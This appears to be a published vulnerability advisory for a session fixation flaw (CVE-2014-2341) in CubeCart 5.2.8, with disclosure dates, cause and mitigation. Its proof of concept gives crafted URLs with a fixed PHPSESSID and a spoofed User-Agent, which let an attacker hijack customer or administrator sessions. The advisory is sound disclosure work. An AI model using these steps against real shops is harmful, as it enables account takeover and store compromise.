# Exploit Title: CubeCart 5.2.8 Session Fixation # Exploit Author: James Sibley (absane) # Blog: http://www.pentester.co # Download link: http://www.cubecart.com/download/5.2.8/zip # Discovery date: March 14th, 2014 # Vendor notified: March 15th, 2014 # Vendor fixed: April 10th, 2014 # Vendor ack: http://forums.cubecart.com/topic/48427-cubecart-529-relased/ # CVE assignment: CVE-2014-2341 CubeCart 5.2.8 is vulnerable to a session fixation vulnerability. The only protection offered is via the User-Agent header field, which can spoofed to match the victim. ======================= =Proof of Concept.....= ======================= *Set the User-Agent for both attacker and victim: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0) *To attack a customer: Victim visits: http://[CubeCart Site]/index.php?PHPSESSID=1337 *To attack an administrator: Victim visits: http://[CubeCart Site]/admin.php?PHPSESSID=1337 When the victim logs in, the attacker can visit the same link (using the same User-Agent) and hijack the victim's session. ======================= =Cause................= ======================= The PHPSESSID parameter is not ignored and allows an attacker to specify their own session id. The code handling login procedures do not generate new sessions upon successful authentication. ======================= =Mitigation...........= ======================= Upgrade to CubeCart >= 5.2.9 If upgrading is not an option, here is a hackish workaround for the session fixation vulnerability: In admin.class.php add this at line 324: $GLOBALS['session']->restart(); In user.class.php add this at line 227: $GLOBALS['session']->restart();
